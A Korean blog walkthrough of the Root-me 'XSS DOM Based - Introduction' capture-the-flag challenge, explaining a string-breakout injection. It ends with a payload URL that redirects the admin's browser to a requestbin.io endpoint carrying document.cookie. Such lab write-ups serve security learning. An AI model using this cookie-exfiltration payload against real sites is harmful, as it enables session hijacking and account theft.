Wargame/Root-me = Web - Client

XSS DOM Based - Introduction

지우친구 웅이 2022. 11. 8. 21:55

XSS DOM Based - Introduction

0과 100사이 중 하나의 숫자를 입력한다.

 

    var random = Math.random() * (99);
    var number = '7';
    if(random == number) {
        document.getElementById('state').style.color = 'green';
        document.getElementById('state').innerHTML = 'You won this game but you don\'t have the flag ;)';
    }
    else{
        document.getElementById('state').style.color = 'red';
        document.getElementById('state').innerText = 'Sorry, wrong answer ! The right answer was ' + random;
    }

random이 random()을 이용하고, 새로고침 시 random이 변하기 때문에 한 번에 맞추기는 거의 불가능하다.

 

개발자 도구 console을 이용해

    var random = Math.random() * (99);
    var number = random;
    if(random == number) {
        document.getElementById('state').style.color = 'green';
        document.getElementById('state').innerHTML = 'You won this game but you don\'t have the flag ;)';
    }
    else{
        document.getElementById('state').style.color = 'red';
        document.getElementById('state').innerText = 'Sorry, wrong answer ! The right answer was ' + random;
    }

number = random 으로 변경하면

문제 해결과는 상관없는 것 같다.

 

숫자를 입력하는 form을 살펴보면

GET 방식을 사용함을 알 수 있다.

 

XSS를 테스트 하기 위해

url창에 "http://challenge01.root-me.org/web-client/ch32/index.php?number=<script>alert(1)</script>" 입력해보면

스크립트문이 동작하지 않는다.

 

페이지 소스를 보면

<, >를 필터링하는 것을 알 수 있는데, number에 입력한 값이 들어가는 것을 이용하여

'; alert(1);// 를 입력하면

alert(1)이 실행되게 된다.

// 는 뒤를 주석처리한다.

 

이를 이용해 관리자의 쿠키를 탈취하면된다.

contact를 보면

url을 제출할 수 있다.

관리자가 url에 접근하면 쿠키를 탈취할 수 있게된다.

 

스크립트 문이 Main에서 동작하기 때문에

http://challenge01.root-me.org/web-client/ch32/index.php?number=';location.href="//requestbin.io/1qy6a8j1?cookie="+document.cookie;//

제출하면

 

관리자의 쿠키를 탈취할 수 있다.